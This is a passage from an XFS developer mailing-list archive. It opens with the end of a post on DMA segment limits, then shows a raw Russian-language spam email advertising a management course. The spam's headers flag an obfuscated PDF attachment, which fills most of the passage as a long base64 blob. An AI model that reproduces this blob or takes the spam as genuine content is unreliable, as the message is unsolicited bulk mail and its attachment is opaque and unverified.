in a DMA transfer, that means the 512k IO needs to be sent in two IOs rather than one. There's quite a bit of hardware out there that have a limit of 128 segments to each IO.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bearded-astronom@clubplaneta.com.mx Thu Jan 16 18:03:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0489E7F52 for ; Thu, 16 Jan 2014 18:03:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 36108AC001 for ; Thu, 16 Jan 2014 16:03:42 -0800 (PST) X-ASG-Debug-ID: 1389917012-04cb6c537ce23740001-NocioJ Received: from mail.labirint-interiors.ru (ns.labirint-interiors.ru [212.7.225.27]) by cuda.sgi.com with ESMTP id lETvF8xdejZwknpE for ; Thu, 16 Jan 2014 16:03:33 -0800 (PST) X-Barracuda-Envelope-From: bearded-astronom@clubplaneta.com.mx X-Barracuda-Apparent-Source-IP: 212.7.225.27 X-MDAV-Processed: mail.labirint-interiors.ru, Fri, 17 Jan 2014 03:56:22 +0400 Received: from Unknown by mail.labirint-interiors.ru (MDaemon PRO v12.5.4) with ESMTP id md50000061352.msg for ; Fri, 17 Jan 2014 03:56:21 +0400 X-Authenticated-Sender: ikhromova@labirint-interiors.ru X-MDRemoteIP: 115.112.189.79 X-Return-Path: bearded-astronom@clubplaneta.com.mx X-Envelope-From: bearded-astronom@clubplaneta.com.mx X-MDaemon-Deliver-To: xfs@oss.sgi.com Message-ID: Reply-To: =?windows-1251?B?zMXNxcTGzMXN0iDEy98g0NPKzsLOxMjSxcvf?= From: =?windows-1251?B?zMXNxcTGzMXN0iDEy98g0NPKzsLOxMjSxcvf?= To: , , , , Subject: =?windows-1251?B?0uX17e7r7uPo/yDv7vHy4O3u4uroIPHy8ODy?= =?windows-1251?B?5ePo9+Xx6u7j7iDs5e3l5Obs5e3y4CDiIOru?= =?windows-1251?B?7O/g7ejo?= Date: Fri, 17 Jan 2014 01:03:40 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0uX17e7r7uPo/yDv7vHy4O3u4uroIPHy8ODy?= =?windows-1251?B?5ePo9+Xx6u7j7iDs5e3l5Obs5e3y4CDiIOru?= =?windows-1251?B?7O/g7ejo?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_16A3_01CF131F.F5CDC190" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: ns.labirint-interiors.ru[212.7.225.27] X-Barracuda-Start-Time: 1389917012 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144160 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_16A3_01CF131F.F5CDC190 Content-Type: multipart/alternative; boundary="----=_NextPart_001_16A4_01CF131F.F5CDC190" ------=_NextPart_001_16A4_01CF131F.F5CDC190 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D1=F2=F0=E0=F2=E5=E3=E8=F7=E5=F1=EA=E8=E9 =EC=E5=ED=E5=E4=E6=EC=E5=ED=F2= =E4=EB=FF =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5=EB=FF ------=_NextPart_001_16A4_01CF131F.F5CDC190 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=D1=F2=F0=E0=F2=E5=E3=E8=F7=E5=F1=EA=E8=E9 =EC=E5=ED=E5=E4=E6=EC=E5=ED= =F2 =E4=EB=FF =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5=EB=FF
------=_NextPart_001_16A4_01CF131F.F5CDC190-- ------=_NextPart_000_16A3_01CF131F.F5CDC190 Content-Type: application/octet-stream; name="=?windows-1251?B?0fLw4PLl4+j35fHq6Okg7OXt5eTm7OXt8iDk?= =?windows-1251?B?6/8g8PPq7uLu5Ojy5ev/LnBkZg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?0fLw4PLl4+j35fHq6Okg7OXt5eTm7OXt8iDk?= =?windows-1251?B?6/8g8PPq7uLu5Ojy5ev/LnBkZg==?=" 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 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCAyNDgwL0hlaWdodCAzNTA3L0xlbmd0aCAxNzI1NjcvQ29sb3JTcGFjZVsvSW5k ZXhlZFsvSUNDQmFzZWQgMSAwIFJdIDIo////MkX/AwMGKV0vRGVjb2RlUGFybXM8PC9CaXRzUGVy Q29tcG9uZW50IDgvUHJlZGljdG9yIDE1L0NvbHVtbnMgMjQ4MC9Db2xvcnMgMT4+L0JpdHNQZXJD b21wb25lbnQgOC9GaWx0ZXIvRmxhdGVEZWNvZGU+PnN0cmVhbQp4Xuzdi2IjOY5u6+l6/4ceAgRJ ACTjIstpXdZ39qSAH2DIyko74mR1z/wfAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD4uf/sFQAAAK/pv/94YgMAAHhp8wNbSXiGAwAA+COLZzEe2AAAAF7JpQe2 VQQAAIB/xD2LycObsn7geQ0AAODv+Gcxe17jgQ0AAOCVhGcxHtgAAABeiD2c+WcxCxaPcDywAQAA /Hv2JOaexazngQ0AAOBF2KPY9CwWk80SAAAAfp09iZ08sNkOD2wAAAD/nj2JjWcxa739Ux0AAAB+ mz2IFRasn9jaxAoAAAD8c+FZzB7TOot5YAMAAPhD/lnMHtO6OeHBDQAA4F+x5y9v9XRmxWDHAQAA 8OvsAWxYPpxZ1dWzAAAA+BfsEaxZ/22aVU09CQAAgH/BHsGaxfPaIrOzAAAA+H32BNYtHtiWW3c9 dAgAAODz3H8s0ucv51ce2OwUj2wAAAD3n4vsRLd4XltldvoaOyMsAQAA+Fb2VFRYcM72u2sPbHb4 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 